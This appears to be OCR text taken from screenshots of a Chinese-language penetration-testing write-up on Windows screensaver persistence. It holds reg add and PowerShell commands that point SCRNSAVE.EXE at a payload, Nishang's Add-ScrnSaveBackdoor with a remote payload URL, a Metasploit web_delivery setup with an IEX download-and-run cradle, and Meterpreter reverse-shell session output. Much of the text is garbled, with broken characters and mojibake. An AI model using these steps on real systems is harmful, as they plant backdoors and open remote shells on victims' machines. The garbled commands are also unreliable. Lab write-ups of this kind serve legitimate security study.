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Panel\Desktop\SCRNSAVE.EXE
Panel\Desktop\ScreenSaveActive

HKEY CURRENT USER\Control
HKEY CURRENT USER\Control
HKEY CURRENT USER\Control
HKEY CURRENT USER\Control

Panel\Desktop\ScreenSaverIsSecure
Panel\Desktop\ScreenSaveTimeOut

Computer\HKEY_CURRENT_USER\Control Panel\Desktop

! Computer ~ || Name Type Data
HKEY_CLASSES_ROOT %) FontSmoothingType  REG_DWORD 0x00000002 (2)
HKEY_CURRENT_USER 2t )ForegroundFlashCount REG_DWORD 0x00000007 (7)

>~ Apptvents #if|ForegroundLockTime... REG_DWORD 0x00030d40 (200000)
> & Console #8)ImageColor REG_DWORD Oxafe29e44 (2950864452)
v C°T::;;?E;' 4| LastUpdated REG_DWORD 0x00000000 (0)
v a }] LeftOverlapChars REG_SZ 3
> Appearance
s B Bluctoath ab|LockScreenAutolock... REG_SZ 0
Colors EﬁﬂMaxMonitorDimension REG_DWORD 0x00000ab0 (2736)
Cursors #if]MaxVirtualDesktopDi.. REG_DWORD 0x00000ab0 (2736)
v ab]MenuShowDelay REG_SZ 400
Colors Eﬁ] MouseWheelRouting REG_DWORD 0x00000002 (2)
LanguageConfiguration Eiﬂ PaintDesktopVersion ~ REG_DWORD 0x00000000 (0)
MuiCached ?j_ﬁ] Pattern REG_DWORD 0x00000000 (0)
WindowMetrics gE]PreferredUILanguages REG_MULTI_SZ en-GB
> Input Method ab|RightOverlapChars REG_SZ 3
> International 1] ScreenSaveActive REG_SZ 1
Keyboard £13 ScreenSaverlsSecure [HECRYA 0
Mouse £l ScreenSaveTimeOut REG_SZ 60
’ 29'5°"fjizat‘°” 51 SCRNSAVE.EXE REG_SZ C:\AWINDOWS\system32\Bubbles.scr
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reg add "hkcul\control panell\desktop" /v SCRNSAVE.EXE /d c:\tmp\pentestlab.exe
reg add "hkculcontrol panell\desktop" /v SCRNSAVE.EXE /d c:\tmp\pentestlab.scr

New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -
Value 'c:\tmp\pentestlab.exe'
New-ItemProperty —-Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -

Value 'c:\tmp\pentestlab.scr'




icrosoft Corporation. All rights reserved.

Try the new cross-platform PowerShell http aka.ms coreb

> New-ItemProperty

mp\pentestlab
t.Po 1.¢ \ istry: :HKEY_CURRENT_USE ontrol Panel\Desktop)
soft.PowerShell.Core\ istry: :HKEY_CURRENT_US \Control Panel
top

osoft.Po ell.Core\Registry

e mi— CMDF]PowerShell

— BHASs ANE SR BOE 25, BT ERAREAT, I EAGF RS2 A S AT il A 1815

msf5 exploit( exploit

[#] Started reverse TCP handler on 192.168.254.145:4444
[#*] Sending stage (206483 bytes) to 192.168.254.1
ession 1 opened (192.168.254.145:4444 -= 192.168.254.1:61696) a

[*] Meterpreter se
t 2019-10-07 20:56:14 -0400

meterpreter =

it 4P RE FE — Meterpreter

Nishang#E4 1 &—/PowerShelllii, ZMA WA LAFTILICE, (15 Lk, ©hagm
SRR, (RS AEA N L AP TR A G B P RE 2492 S BryPower Shell
o ORI A I R SRR

Import-Module .\Add-ScrnSaveBackdoor.psl
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.145:8080/Bebr7a0emwFJO



https://github.com/samratashok/nishang

PS C:\tmp> Set-ExecutionPolicy Bypass 2
[a]

S C:\tmp> Import-Module
PS C:\tmp> Add-ScrnSaveBackdoor

SCRNSAVE .EXE :
: Microsoft.Powe

PSPath
PSParentPath
PSChildName
PSDrive
PSProvider

Property
PSPath

PSParentPath
PSChildName
PSDrive

PSProvider

SubKeyCount

.\Add-ScrnSaveBackdoor.psl
http://192.168.254.145:80808/Bebr7a0emwFl10

em32\Ribbons.scr
Shell.Core\Registry: :HKEY_CURRENT_USER\Control Panel\Desktop\

C:\Windows\Sy:

: Microsoft.PowerShell.Core\Registry: :HKEY_CURRENT_USER\Control Panel

: HKCU
: Microsoft.PowerShell.Core\Registry

: {}
: Microsoft.PowerShell.Core\Registry: :HKEY_LOCAL_ MACHINE\SOFTWARE\Microsoft\Windows

NT\CurrentVersion\Image File Execut

: Microsoft.PowerShell.Core\Registry: :HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

NT\CurrentVersion\Image File Execution Options

: Ribbons.scr
: HKLM

: Microsoft.PowerShell.Core\Registry
PSIsContainer :
: 8

: Default

: Microsoft.Win32.SafeHandles.SafeRegistryHandle
: e

: HKEY_LOC

True

MACHINENSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\Ribbons.scr

Payload added as Debugger for Ribbons.scr

Nishang — BT 1]

K, bR AP P TPowerShell ik, S8 54447 meterpreter<:ifi.

exploit

use exploit/multi/script/web delivery

set payload windows/x64/meterpreter/reverse tcp
set LHOST IP Address

set target 2

msfS exploit(

[*]
[*]

Started

) = exploit

Exploit running as background job 1.
Exploit completed, but no session was created.

reverse TCP handler on 192.168.254.145:4444
Using URL: http://0.0.0

0:8080/eqj9ix

Local IP: http://192.168.254.145:8080/eqj9ix

GetSystemwWebProxy();$I.Proxy.Credentials=[Net.Cre
I.downloadstring{'http://192.168.254.145:80880/eqj9ix");
192.168. B
[*] Sending stage (206403 byte
[*] Meterpreter session 3

10:29:52

[*]

0-08

254.1

} > [*] Run the following command on the target ma

-nop -w hidden -c $I=new-object net.webclient;$I.proxy=[Net.wWebRequest]::

entialCache]::DefaultCredentials;IEX %
web delivery - Delivering Payload (2125) bytes

) to 192.168.254.1
opened (192.168.254.145:4444 -> 192.168.254.1:56514) at 2819-1
-0400

Meterpreter — it #{74 /7
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